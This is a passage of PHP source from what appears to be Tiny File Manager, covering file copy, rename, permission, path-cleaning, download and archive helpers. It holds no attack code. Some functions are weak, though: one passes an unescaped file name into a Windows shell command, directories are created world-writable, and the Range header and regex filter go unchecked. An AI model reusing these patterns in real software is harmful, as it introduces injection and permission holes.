  2147. if (!chmod($path, $dirmode)) {
  2148. return false;
  2149. }
  2150. $objects = scandir($path);
  2151. if (is_array($objects)) {
  2152. foreach ($objects as $file) {
  2153. if ($file != '.' && $file != '..') {
  2154. if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
  2155. return false;
  2156. }
  2157. }
  2158. }
  2159. }
  2160. return true;
  2161. } elseif (is_link($path)) {
  2162. return true;
  2163. } elseif (is_file($path)) {
  2164. return chmod($path, $filemode);
  2165. }
  2166. return false;
  2167. }
  2168.  
  2169. /**
  2170. * Check the file extension which is allowed or not
  2171. * @param string $filename
  2172. * @return bool
  2173. */
  2174. function fm_is_valid_ext($filename)
  2175. {
  2176. $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
  2177.  
  2178. $ext = pathinfo($filename, PATHINFO_EXTENSION);
  2179. $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
  2180.  
  2181. return ($isFileAllowed) ? true : false;
  2182. }
  2183.  
  2184. /**
  2185. * Safely rename
  2186. * @param string $old
  2187. * @param string $new
  2188. * @return bool|null
  2189. */
  2190. function fm_rename($old, $new)
  2191. {
  2192. $isFileAllowed = fm_is_valid_ext($new);
  2193.  
  2194. if(!$isFileAllowed) return false;
  2195.  
  2196. return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
  2197. }
  2198.  
  2199. /**
  2200. * Copy file or folder (recursively).
  2201. * @param string $path
  2202. * @param string $dest
  2203. * @param bool $upd Update files
  2204. * @param bool $force Create folder with same names instead file
  2205. * @return bool
  2206. */
  2207. function fm_rcopy($path, $dest, $upd = true, $force = true)
  2208. {
  2209. if (is_dir($path)) {
  2210. if (!fm_mkdir($dest, $force)) {
  2211. return false;
  2212. }
  2213. $objects = scandir($path);
  2214. $ok = true;
  2215. if (is_array($objects)) {
  2216. foreach ($objects as $file) {
  2217. if ($file != '.' && $file != '..') {
  2218. if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
  2219. $ok = false;
  2220. }
  2221. }
  2222. }
  2223. }
  2224. return $ok;
  2225. } elseif (is_file($path)) {
  2226. return fm_copy($path, $dest, $upd);
  2227. }
  2228. return false;
  2229. }
  2230.  
  2231. /**
  2232. * Safely create folder
  2233. * @param string $dir
  2234. * @param bool $force
  2235. * @return bool
  2236. */
  2237. function fm_mkdir($dir, $force)
  2238. {
  2239. if (file_exists($dir)) {
  2240. if (is_dir($dir)) {
  2241. return $dir;
  2242. } elseif (!$force) {
  2243. return false;
  2244. }
  2245. unlink($dir);
  2246. }
  2247. return mkdir($dir, 0777, true);
  2248. }
  2249.  
  2250. /**
  2251. * Safely copy file
  2252. * @param string $f1
  2253. * @param string $f2
  2254. * @param bool $upd Indicates if file should be updated with new content
  2255. * @return bool
  2256. */
  2257. function fm_copy($f1, $f2, $upd)
  2258. {
  2259. $time1 = filemtime($f1);
  2260. if (file_exists($f2)) {
  2261. $time2 = filemtime($f2);
  2262. if ($time2 >= $time1 && $upd) {
  2263. return false;
  2264. }
  2265. }
  2266. $ok = copy($f1, $f2);
  2267. if ($ok) {
  2268. touch($f2, $time1);
  2269. }
  2270. return $ok;
  2271. }
  2272.  
  2273. /**
  2274. * Get mime type
  2275. * @param string $file_path
  2276. * @return mixed|string
  2277. */
  2278. function fm_get_mime_type($file_path)
  2279. {
  2280. if (function_exists('finfo_open')) {
  2281. $finfo = finfo_open(FILEINFO_MIME_TYPE);
  2282. $mime = finfo_file($finfo, $file_path);
  2283. finfo_close($finfo);
  2284. return $mime;
  2285. } elseif (function_exists('mime_content_type')) {
  2286. return mime_content_type($file_path);
  2287. } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
  2288. $file = escapeshellarg($file_path);
  2289. $mime = shell_exec('file -bi ' . $file);
  2290. return $mime;
  2291. } else {
  2292. return '--';
  2293. }
  2294. }
  2295.  
  2296. /**
  2297. * HTTP Redirect
  2298. * @param string $url
  2299. * @param int $code
  2300. */
  2301. function fm_redirect($url, $code = 302)
  2302. {
  2303. header('Location: ' . $url, true, $code);
  2304. exit;
  2305. }
  2306.  
  2307. /**
  2308. * Path traversal prevention and clean the url
  2309. * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
  2310. * @param $path
  2311. * @return string
  2312. */
  2313. function get_absolute_path($path) {
  2314. $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
  2315. $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
  2316. $absolutes = array();
  2317. foreach ($parts as $part) {
  2318. if ('.' == $part) continue;
  2319. if ('..' == $part) {
  2320. array_pop($absolutes);
  2321. } else {
  2322. $absolutes[] = $part;
  2323. }
  2324. }
  2325. return implode(DIRECTORY_SEPARATOR, $absolutes);
  2326. }
  2327.  
  2328. /**
  2329. * Clean path
  2330. * @param string $path
  2331. * @return string
  2332. */
  2333. function fm_clean_path($path, $trim = true)
  2334. {
  2335. $path = $trim ? trim($path) : $path;
  2336. $path = trim($path, '\\/');
  2337. $path = str_replace(array('../', '..\\'), '', $path);
  2338. $path = get_absolute_path($path);
  2339. if ($path == '..') {
  2340. $path = '';
  2341. }
  2342. return str_replace('\\', '/', $path);
  2343. }
  2344.  
  2345. /**
  2346. * Get parent path
  2347. * @param string $path
  2348. * @return bool|string
  2349. */
  2350. function fm_get_parent_path($path)
  2351. {
  2352. $path = fm_clean_path($path);
  2353. if ($path != '') {
  2354. $array = explode('/', $path);
  2355. if (count($array) > 1) {
  2356. $array = array_slice($array, 0, -1);
  2357. return implode('/', $array);
  2358. }
  2359. return '';
  2360. }
  2361. return false;
  2362. }
  2363.  
  2364. /**
  2365. * Check file is in exclude list
  2366. * @param string $file
  2367. * @return bool
  2368. */
  2369. function fm_is_exclude_items($file) {
  2370. $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
  2371. if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
  2372. return true;
  2373. }
  2374. return false;
  2375. }
  2376.  
  2377. /**
  2378. * get language translations from json file
  2379. * @param int $tr
  2380. * @return array
  2381. */
  2382. function fm_get_translations($tr) {
  2383. try {
  2384. $content = @file_get_contents('translation.json');
  2385. if($content !== FALSE) {
  2386. $lng = json_decode($content, TRUE);
  2387. global $lang_list;
  2388. foreach ($lng["language"] as $key => $value)
  2389. {
  2390. $code = $value["code"];
  2391. $lang_list[$code] = $value["name"];
  2392. if ($tr)
  2393. $tr[$code] = $value["translation"];
  2394. }
  2395. return $tr;
  2396. }
  2397.  
  2398. }
  2399. catch (Exception $e) {
  2400. echo $e;
  2401. }
  2402. }
  2403.  
  2404. /**
  2405. * @param $file
  2406. * Recover all file sizes larger than > 2GB.
  2407. * Works on php 32bits and 64bits and supports linux
  2408. * @return int|string
  2409. */
  2410. function fm_get_size($file)
  2411. {
  2412. static $iswin;
  2413. static $isdarwin;
  2414. if (!isset($iswin)) {
  2415. $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
  2416. }
  2417. if (!isset($isdarwin)) {
  2418. $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
  2419. }
  2420.  
  2421. static $exec_works;
  2422. if (!isset($exec_works)) {
  2423. $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
  2424. }
  2425.  
  2426. // try a shell command
  2427. if ($exec_works) {
  2428. $arg = escapeshellarg($file);
  2429. $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
  2430. @exec($cmd, $output);
  2431. if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
  2432. return $size;
  2433. }
  2434. }
  2435.  
  2436. // try the Windows COM interface
  2437. if ($iswin && class_exists("COM")) {
  2438. try {
  2439. $fsobj = new COM('Scripting.FileSystemObject');
  2440. $f = $fsobj->GetFile( realpath($file) );
  2441. $size = $f->Size;
  2442. } catch (Exception $e) {
  2443. $size = null;
  2444. }
  2445. if (ctype_digit($size)) {
  2446. return $size;
  2447. }
  2448. }
  2449.  
  2450. // if all else fails
  2451. return filesize($file);
  2452. }
  2453.  
  2454. /**
  2455. * Get nice filesize
  2456. * @param int $size
  2457. * @return string
  2458. */
  2459. function fm_get_filesize($size)
  2460. {
  2461. $size = (float) $size;
  2462. $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
  2463. $power = $size > 0 ? floor(log($size, 1024)) : 0;
  2464. return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
  2465. }
  2466.  
  2467. /**
  2468. * Get director total size
  2469. * @param string $directory
  2470. * @return int
  2471. */
  2472. function fm_get_directorysize($directory) {
  2473. global $calc_folder;
  2474. if ($calc_folder==true) { // Slower output
  2475. $size = 0; $count= 0; $dirCount= 0;
  2476. foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
  2477. if ($file->isFile())
  2478. { $size+=$file->getSize();
  2479. $count++;
  2480. }
  2481. else if ($file->isDir()) { $dirCount++; }
  2482. // return [$size, $count, $dirCount];
  2483. return $size;
  2484. }
  2485. else return 'Folder'; // Quick output
  2486. }
  2487.  
  2488. /**
  2489. * Get info about zip archive
  2490. * @param string $path
  2491. * @return array|bool
  2492. */
  2493. function fm_get_zif_info($path, $ext) {
  2494. if ($ext == 'zip' && function_exists('zip_open')) {
  2495. $arch = zip_open($path);
  2496. if ($arch) {
  2497. $filenames = array();
  2498. while ($zip_entry = zip_read($arch)) {
  2499. $zip_name = zip_entry_name($zip_entry);
  2500. $zip_folder = substr($zip_name, -1) == '/';
  2501. $filenames[] = array(
  2502. 'name' => $zip_name,
  2503. 'filesize' => zip_entry_filesize($zip_entry),
  2504. 'compressed_size' => zip_entry_compressedsize($zip_entry),
  2505. 'folder' => $zip_folder
  2506. //'compression_method' => zip_entry_compressionmethod($zip_entry),
  2507. );
  2508. }
  2509. zip_close($arch);
  2510. return $filenames;
  2511. }
  2512. } elseif($ext == 'tar' && class_exists('PharData')) {
  2513. $archive = new PharData($path);
  2514. $filenames = array();
  2515. foreach(new RecursiveIteratorIterator($archive) as $file) {
  2516. $parent_info = $file->getPathInfo();
  2517. $zip_name = str_replace("phar://".$path, '', $file->getPathName());
  2518. $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
  2519. $zip_folder = $parent_info->getFileName();
  2520. $zip_info = new SplFileInfo($file);
  2521. $filenames[] = array(
  2522. 'name' => $zip_name,
  2523. 'filesize' => $zip_info->getSize(),
  2524. 'compressed_size' => $file->getCompressedSize(),
  2525. 'folder' => $zip_folder
  2526. );
  2527. }
  2528. return $filenames;
  2529. }
  2530. return false;
  2531. }
  2532.  
  2533. /**
  2534. * Encode html entities
  2535. * @param string $text
  2536. * @return string
  2537. */
  2538. function fm_enc($text)
  2539. {
  2540. return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
  2541. }
  2542.  
  2543. /**
  2544. * Prevent XSS attacks
  2545. * @param string $text
  2546. * @return string
  2547. */
  2548. function fm_isvalid_filename($text) {
  2549. return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
  2550. }
  2551.  
  2552. /**
  2553. * Save message in session
  2554. * @param string $msg
  2555. * @param string $status
  2556. */
  2557. function fm_set_msg($msg, $status = 'ok')
  2558. {
  2559. $_SESSION[FM_SESSION_ID]['message'] = $msg;
  2560. $_SESSION[FM_SESSION_ID]['status'] = $status;
  2561. }
  2562.  
  2563. /**
  2564. * Check if string is in UTF-8
  2565. * @param string $string
  2566. * @return int
  2567. */
  2568. function fm_is_utf8($string)
  2569. {
  2570. return preg_match('//u', $string);
  2571. }
  2572.  
  2573. /**
  2574. * Convert file name to UTF-8 in Windows
  2575. * @param string $filename
  2576. * @return string
  2577. */
  2578. function fm_convert_win($filename)
  2579. {
  2580. if (FM_IS_WIN && function_exists('iconv')) {
  2581. $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
  2582. }
  2583. return $filename;
  2584. }
  2585.  
  2586. /**
  2587. * @param $obj
  2588. * @return array
  2589. */
  2590. function fm_object_to_array($obj)
  2591. {
  2592. if (!is_object($obj) && !is_array($obj)) {
  2593. return $obj;
  2594. }
  2595. if (is_object($obj)) {
  2596. $obj = get_object_vars($obj);
  2597. }
  2598. return array_map('fm_object_to_array', $obj);
  2599. }
  2600.  
  2601. /**
  2602. * Get CSS classname for file
  2603. * @param string $path
  2604. * @return string
  2605. */
  2606. function fm_get_file_icon_class($path)
  2607. {
  2608. // get extension
  2609. $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
  2610.  
  2611. switch ($ext) {
  2612. case 'ico':
  2613. case 'gif':
  2614. case 'jpg':
  2615. case 'jpeg':
  2616. case 'jpc':
  2617. case 'jp2':
  2618. case 'jpx':
  2619. case 'xbm':
  2620. case 'wbmp':
  2621. case 'png':
  2622. case 'bmp':
  2623. case 'tif':
  2624. case 'tiff':
  2625. case 'svg':
  2626. $img = 'fa fa-picture-o';
  2627. break;
  2628. case 'passwd':
  2629. case 'ftpquota':
  2630. case 'sql':
  2631. case 'js':
  2632. case 'json':
  2633. case 'sh':
  2634. case 'config':
  2635. case 'twig':
  2636. case 'tpl':
  2637. case 'md':
  2638. case 'gitignore':
  2639. case 'c':
  2640. case 'cpp':
  2641. case 'cs':
  2642. case 'py':
  2643. case 'map':
  2644. case 'lock':
  2645. case 'dtd':
  2646. $img = 'fa fa-file-code-o';
  2647. break;
  2648. case 'txt':
  2649. case 'ini':
  2650. case 'conf':
  2651. case 'log':
  2652. case 'htaccess':
  2653. $img = 'fa fa-file-text-o';
  2654. break;
  2655. case 'css':
  2656. case 'less':
  2657. case 'sass':
  2658. case 'scss':
  2659. $img = 'fa fa-css3';
  2660. break;
  2661. case 'zip':
  2662. case 'rar':
  2663. case 'gz':
  2664. case 'tar':
  2665. case '7z':
  2666. $img = 'fa fa-file-archive-o';
  2667. break;
  2668. case 'php':
  2669. case 'php4':
  2670. case 'php5':
  2671. case 'phps':
  2672. case 'phtml':
  2673. $img = 'fa fa-code';
  2674. break;
  2675. case 'htm':
  2676. case 'html':
  2677. case 'shtml':
  2678. case 'xhtml':
  2679. $img = 'fa fa-html5';
  2680. break;
  2681. case 'xml':
  2682. case 'xsl':
  2683. $img = 'fa fa-file-excel-o';
  2684. break;
  2685. case 'wav':
  2686. case 'mp3':
  2687. case 'mp2':
  2688. case 'm4a':
  2689. case 'aac':
  2690. case 'ogg':
  2691. case 'oga':
  2692. case 'wma':
  2693. case 'mka':
  2694. case 'flac':
  2695. case 'ac3':
  2696. case 'tds':
  2697. $img = 'fa fa-music';
  2698. break;
  2699. case 'm3u':
  2700. case 'm3u8':
  2701. case 'pls':
  2702. case 'cue':
  2703. $img = 'fa fa-headphones';
  2704. break;
  2705. case 'avi':
  2706. case 'mpg':
  2707. case 'mpeg':
  2708. case 'mp4':
  2709. case 'm4v':
  2710. case 'flv':
  2711. case 'f4v':
  2712. case 'ogm':
  2713. case 'ogv':
  2714. case 'mov':
  2715. case 'mkv':
  2716. case '3gp':
  2717. case 'asf':
  2718. case 'wmv':
  2719. $img = 'fa fa-file-video-o';
  2720. break;
  2721. case 'eml':
  2722. case 'msg':
  2723. $img = 'fa fa-envelope-o';
  2724. break;
  2725. case 'xls':
  2726. case 'xlsx':
  2727. case 'ods':
  2728. $img = 'fa fa-file-excel-o';
  2729. break;
  2730. case 'csv':
  2731. $img = 'fa fa-file-text-o';
  2732. break;
  2733. case 'bak':
  2734. $img = 'fa fa-clipboard';
  2735. break;
  2736. case 'doc':
  2737. case 'docx':
  2738. case 'odt':
  2739. $img = 'fa fa-file-word-o';
  2740. break;
  2741. case 'ppt':
  2742. case 'pptx':
  2743. $img = 'fa fa-file-powerpoint-o';
  2744. break;
  2745. case 'ttf':
  2746. case 'ttc':
  2747. case 'otf':
  2748. case 'woff':
  2749. case 'woff2':
  2750. case 'eot':
  2751. case 'fon':
  2752. $img = 'fa fa-font';
  2753. break;
  2754. case 'pdf':
  2755. $img = 'fa fa-file-pdf-o';
  2756. break;
  2757. case 'psd':
  2758. case 'ai':
  2759. case 'eps':
  2760. case 'fla':
  2761. case 'swf':
  2762. $img = 'fa fa-file-image-o';
  2763. break;
  2764. case 'exe':
  2765. case 'msi':
  2766. $img = 'fa fa-file-o';
  2767. break;
  2768. case 'bat':
  2769. $img = 'fa fa-terminal';
  2770. break;
  2771. default:
  2772. $img = 'fa fa-info-circle';
  2773. }
  2774.  
  2775. return $img;
  2776. }
  2777.  
  2778. /**
  2779. * Get image files extensions
  2780. * @return array
  2781. */
  2782. function fm_get_image_exts()
  2783. {
  2784. return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
  2785. }
  2786.  
  2787. /**
  2788. * Get video files extensions
  2789. * @return array
  2790. */
  2791. function fm_get_video_exts()
  2792. {
  2793. return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
  2794. }
  2795.  
  2796. /**
  2797. * Get audio files extensions
  2798. * @return array
  2799. */
  2800. function fm_get_audio_exts()
  2801. {
  2802. return array('wav', 'mp3', 'ogg', 'm4a');
  2803. }
  2804.  
  2805. /**
  2806. * Get text file extensions
  2807. * @return array
  2808. */
  2809. function fm_get_text_exts()
  2810. {
  2811. return array(
  2812. 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
  2813. 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
  2814. 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
  2815. 'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
  2816. );
  2817. }
  2818.  
  2819. /**
  2820. * Get mime types of text files
  2821. * @return array
  2822. */
  2823. function fm_get_text_mimes()
  2824. {
  2825. return array(
  2826. 'application/xml',
  2827. 'application/javascript',
  2828. 'application/x-javascript',
  2829. 'image/svg+xml',
  2830. 'message/rfc822',
  2831. );
  2832. }
  2833.  
  2834. /**
  2835. * Get file names of text files w/o extensions
  2836. * @return array
  2837. */
  2838. function fm_get_text_names()
  2839. {
  2840. return array(
  2841. 'license',
  2842. 'readme',
  2843. 'authors',
  2844. 'contributors',
  2845. 'changelog',
  2846. );
  2847. }
  2848.  
  2849. /**
  2850. * Get online docs viewer supported files extensions
  2851. * @return array
  2852. */
  2853. function fm_get_onlineViewer_exts()
  2854. {
  2855. return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
  2856. }
  2857.  
  2858. function fm_get_file_mimes($extension)
  2859. {
  2860. $fileTypes['swf'] = 'application/x-shockwave-flash';
  2861. $fileTypes['pdf'] = 'application/pdf';
  2862. $fileTypes['exe'] = 'application/octet-stream';
  2863. $fileTypes['zip'] = 'application/zip';
  2864. $fileTypes['doc'] = 'application/msword';
  2865. $fileTypes['xls'] = 'application/vnd.ms-excel';
  2866. $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
  2867. $fileTypes['gif'] = 'image/gif';
  2868. $fileTypes['png'] = 'image/png';
  2869. $fileTypes['jpeg'] = 'image/jpg';
  2870. $fileTypes['jpg'] = 'image/jpg';
  2871. $fileTypes['rar'] = 'application/rar';
  2872.  
  2873. $fileTypes['ra'] = 'audio/x-pn-realaudio';
  2874. $fileTypes['ram'] = 'audio/x-pn-realaudio';
  2875. $fileTypes['ogg'] = 'audio/x-pn-realaudio';
  2876.  
  2877. $fileTypes['wav'] = 'video/x-msvideo';
  2878. $fileTypes['wmv'] = 'video/x-msvideo';
  2879. $fileTypes['avi'] = 'video/x-msvideo';
  2880. $fileTypes['asf'] = 'video/x-msvideo';
  2881. $fileTypes['divx'] = 'video/x-msvideo';
  2882.  
  2883. $fileTypes['mp3'] = 'audio/mpeg';
  2884. $fileTypes['mp4'] = 'audio/mpeg';
  2885. $fileTypes['mpeg'] = 'video/mpeg';
  2886. $fileTypes['mpg'] = 'video/mpeg';
  2887. $fileTypes['mpe'] = 'video/mpeg';
  2888. $fileTypes['mov'] = 'video/quicktime';
  2889. $fileTypes['swf'] = 'video/quicktime';
  2890. $fileTypes['3gp'] = 'video/quicktime';
  2891. $fileTypes['m4a'] = 'video/quicktime';
  2892. $fileTypes['aac'] = 'video/quicktime';
  2893. $fileTypes['m3u'] = 'video/quicktime';
  2894.  
  2895. $fileTypes['php'] = ['application/x-php'];
  2896. $fileTypes['html'] = ['text/html'];
  2897. $fileTypes['txt'] = ['text/plain'];
  2898. return $fileTypes[$extension];
  2899. }
  2900.  
  2901. /**
  2902. * This function scans the files and folder recursively, and return matching files
  2903. * @param string $dir
  2904. * @param string $filter
  2905. * @return json
  2906. */
  2907. function scan($dir, $filter = '') {
  2908. $path = FM_ROOT_PATH.'/'.$dir;
  2909. if($dir) {
  2910. $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
  2911. $rii = new RegexIterator($ite, "/(" . $filter . ")/i");
  2912.  
  2913. $files = array();
  2914. foreach ($rii as $file) {
  2915. if (!$file->isDir()) {
  2916. $fileName = $file->getFilename();
  2917. $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
  2918. $files[] = array(
  2919. "name" => $fileName,
  2920. "type" => "file",
  2921. "path" => $location,
  2922. );
  2923. }
  2924. }
  2925. return $files;
  2926. }
  2927. }
  2928.  
  2929. /*
  2930. Parameters: downloadFile(File Location, File Name,
  2931. max speed, is streaming
  2932. If streaming - videos will show as videos, images as images
  2933. instead of download prompt
  2934. https://stackoverflow.com/a/13821992/1164642
  2935. */
  2936.  
  2937. function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
  2938. {
  2939. if (connection_status() != 0)
  2940. return (false);
  2941. $extension = pathinfo($fileName, PATHINFO_EXTENSION);
  2942.  
  2943. $contentType = fm_get_file_mimes($extension);
  2944. header("Cache-Control: public");
  2945. header("Content-Transfer-Encoding: binary\n");
  2946. header('Content-Type: $contentType');
  2947.  
  2948. $contentDisposition = 'attachment';
  2949.  
  2950.  
  2951. if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
  2952. $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
  2953. header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
  2954. } else {
  2955. header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
  2956. }
  2957.  
  2958. header("Accept-Ranges: bytes");
  2959. $range = 0;
  2960. $size = filesize($fileLocation);
  2961.  
  2962. if (isset($_SERVER['HTTP_RANGE'])) {
  2963. list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
  2964. str_replace($range, "-", $range);
  2965. $size2 = $size - 1;
  2966. $new_length = $size - $range;
  2967. header("HTTP/1.1 206 Partial Content");
  2968. header("Content-Length: $new_length");
  2969. header("Content-Range: bytes $range$size2/$size");
  2970. } else {
  2971. $size2 = $size - 1;
  2972. header("Content-Range: bytes 0-$size2/$size");
  2973. header("Content-Length: " . $size);
  2974. }
  2975.  
  2976. if ($size == 0) {
  2977. die('Zero byte file! Aborting download');
  2978. }
  2979. @ini_set('magic_quotes_runtime', 0);
  2980. $fp = fopen("$fileLocation", "rb");
  2981.  
  2982. fseek($fp, $range);
  2983.  
  2984. while (!feof($fp) and (connection_status() == 0)) {
  2985. set_time_limit(0);
  2986. print(@fread($fp, 1024*$chunkSize));
  2987. flush();
  2988. ob_flush();
  2989. // sleep(1);
  2990. }
  2991. fclose($fp);
  2992.  
  2993. return ((connection_status() == 0) and !connection_aborted());
  2994. }
  2995.  
  2996. function fm_get_theme() {
  2997. $result = '';
  2998. if(FM_THEME == "dark") {
  2999. $result = "text-white bg-dark";
  3000. }
  3001. return $result;
  3002. }
  3003.  
  3004. /**
  3005. * Class to work with zip files (using ZipArchive)
  3006. */
  3007. class FM_Zipper
  3008. {
  3009. private $zip;
  3010.  
  3011. public function __construct()
  3012. {
  3013. $this->zip = new ZipArchive();
  3014. }
  3015.  
  3016. /**
  3017. * Create archive with name $filename and files $files (RELATIVE PATHS!)
  3018. * @param string $filename
  3019. * @param array|string $files
  3020. * @return bool
  3021. */
  3022. public function create($filename, $files)
  3023. {
  3024. $res = $this->zip->open($filename, ZipArchive::CREATE);
  3025. if ($res !== true) {
  3026. return false;
  3027. }
  3028. if (is_array($files)) {
  3029. foreach ($files as $f) {
  3030. if (!$this->addFileOrDir($f)) {
  3031. $this->zip->close();
  3032. return false;
  3033. }
  3034. }
  3035. $this->zip->close();
  3036. return true;
  3037. } else {
  3038. if ($this->addFileOrDir($files)) {
  3039. $this->zip->close();
  3040. return true;
  3041. }
  3042. return false;
  3043. }
  3044. }
  3045.  
  3046. /**
  3047. * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
  3048. * @param string $filename
  3049. * @param string $path
  3050. * @return bool
  3051. */
  3052. public function unzip($filename, $path)
  3053. {
  3054. $res = $this->zip->open($filename);
  3055. if ($res !== true) {
  3056. return false;
  3057. }
  3058. if ($this->zip->extractTo($path)) {
  3059. $this->zip->close();
  3060. return true;
  3061. }
  3062. return false;
  3063. }
  3064.  
  3065. /**
  3066. * Add file/folder to archive
  3067. * @param string $filename
  3068. * @return bool
  3069. */
  3070. private function addFileOrDir($filename)
  3071. {
  3072. if (is_file($filename)) {
  3073. return $this->zip->addFile($filename);
  3074. } elseif (is_dir($filename)) {
  3075. return $this->addDir($filename);
  3076. }
  3077. return false;
  3078. }
  3079.  
  3080. /**
  3081. * Add folder recursively
  3082. * @param string $path
  3083. * @return bool
  3084. */
  3085. private function addDir($path)
  3086. {
  3087. if (!$this->zip->addEmptyDir($path)) {
  3088. return false;
  3089. }
  3090. $objects = scandir($path);
  3091. if (is_array($objects)) {
  3092. foreach ($objects as $file) {
  3093. if ($file != '.' && $file != '..') {
  3094. if (is_dir($path . '/' . $file)) {
  3095. if (!$this->addDir($path . '/' . $file)) {
  3096. return false;
  3097. }
  3098. } elseif (is_file($path . '/' . $file)) {
  3099. if (!$this->zip->addFile($path . '/' . $file)) {
  3100. return false;
  3101. }
  3102. }
  3103. }
  3104. }
  3105. return true;
  3106. }
  3107. return false;
  3108. }
  3109. }
  3110.  
  3111. /**
  3112. * Class to work with Tar files (using PharData)
  3113. */
  3114. class FM_Zipper_Tar
  3115. {
  3116. private $tar;
  3117.  
  3118. public function __construct()
  3119. {
  3120. $this->tar = null;
  3121. }
  3122.  
  3123. /**
  3124. * Create archive with name $filename and files $files (RELATIVE PATHS!)
  3125. * @param string $filename
  3126. * @param array|string $files
  3127. * @return bool
  3128. */
  3129. public function create($filename, $files)
  3130. {
  3131. $this->tar = new PharData($filename);
  3132. if (is_array($files)) {
  3133. foreach ($files as $f) {
  3134. if (!$this->addFileOrDir($f)) {
  3135. return false;
  3136. }
  3137. }
  3138. return true;
  3139. } else {
  3140. if ($this->addFileOrDir($files)) {
  3141. return true;
  3142. }
  3143. return false;
  3144. }
  3145. }
  3146.  
  3147. /**
  3148. * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
  3149. * @param string $filename
  3150. * @param string $path
  3151. * @return bool
  3152. */
  3153. public function unzip($filename, $path)
  3154. {
  3155. $res = $this->tar->open($filename);
  3156. if ($res !== true) {
  3157. return false;
  3158. }
  3159. if ($this->tar->extractTo($path)) {
  3160. return true;
  3161. }
  3162. return false;
  3163. }
  3164.  
  3165. /**
  3166. * Add file/folder to archive
  3167. * @param string $filename
  3168. * @return bool
  3169. */
  3170. private function addFileOrDir($filename)
  3171. {
  3172. if (is_file($filename)) {
  3173. try {
  3174. $this->tar->addFile($filename);
  3175. return true;
  3176. } catch (Exception $e) {
  3177. return false;
  3178. }
  3179. } elseif (is_dir($filename)) {
  3180. return $this->addDir($filename);
  3181. }
  3182. return false;
  3183. }
  3184.  
  3185. /**
  3186. * Add folder recursively
  3187. * @param string $path
  3188. * @return bool
  3189. */
  3190. private function addDir($path)
  3191. {
  3192. $objects = scandir($path);
  3193. if (is_array($objects)) {
  3194. foreach ($objects as $file) {
  3195. if ($file != '.' && $file != '..') {
  3196. if (is_dir($path . '/' . $file)) {
  3197. if (!$this->addDir($path . '/' . $file)) {
  3198. return false;
  3199. }
  3200. } elseif (is_file($path . '/' . $file)) {
  3201. try {
  3202. $this->tar->addFile($path . '/' . $file);
  3203. } catch (Exception $e) {
  3204. return false;
  3205. }
  3206. }
  3207. }
  3208. }
  3209. return true;
  3210. }
  3211. return false;
  3212. }
  3213. }
  3214.  
  3215.  
  3216.  
  3217. /**
  3218. * Save Configuration
  3219. */
  3220. class FM_Config
  3221. {
  3222. var $data;
  3223.  
  3224. function __construct()
  3225. {
  3226. global $root_path, $root_url, $CONFIG;
  3227. $fm_url = $root_url.$_SERVER["PHP_SELF"];
  3228. $this->data = array(
  3229. 'lang' => 'en',
  3230. 'error_reporting' => true,
  3231. 'show_hidden' => true
  3232. );
  3233. $data = false;
  3234. if (strlen($CONFIG)) {
  3235. $data = fm_object_to_array(json_decode($CONFIG));
  3236. } else {
  3237. $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
  3238. if (substr($fm_url, -1) == '/') {
